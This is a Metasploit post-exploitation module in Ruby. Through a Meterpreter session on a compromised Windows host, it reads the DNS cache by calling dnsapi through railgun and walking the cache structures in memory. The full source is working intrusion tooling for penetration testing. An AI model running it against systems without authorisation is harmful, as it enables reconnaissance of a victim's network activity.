modules/post/windows/gather/dnscache_dump.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather DNS Cache',
'Description' => %q{ This module displays the records stored in the DNS cache.},
'License' => MSF_LICENSE,
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_railgun_memread
]
}
}
)
)
end
def run
rtable = Rex::Text::Table.new(
'Header' => 'DNS Cached Entries',
'Indent' => 3,
'Columns' => ['TYPE', 'DOMAIN']
)
client.railgun.add_dll('dnsapi') if !client.railgun.get_dll('dnsapi')
client.railgun.add_function('dnsapi', 'DnsGetCacheDataTable', 'DWORD', [['PBLOB', 'cacheEntries', 'inout']])
result = client.railgun.dnsapi.DnsGetCacheDataTable('aaaa')
address = result['cacheEntries'].unpack1('V')
# typedef struct _DNS_CACHE_ENTRY
# struct _DNS_CACHE_ENTRY* pNext;
# PWSTR pszName;
# unsigned short wType;
# unsigned short wDataLength;
# unsigned long dwFlags;
while (address != 0)
struct_pointer = client.railgun.memread(address, 10)
# Get the pointer to the DNS record name
domain_pointer = struct_pointer[4, 4].unpack1('V')
dns_type = struct_pointer[8, 2].unpack1('h*').reverse
# According to the restrictions on valid host names, we read a maximum of 255 characters for each entry
domain_name = client.railgun.memread(domain_pointer, 255).split("\x00\x00").first
rtable << [dns_type, domain_name]
# Get the next _DNS_CACHE_ENTRY struct pointer
address = struct_pointer[0, 4].unpack1('V')
end
print_status(rtable.to_s)
end
end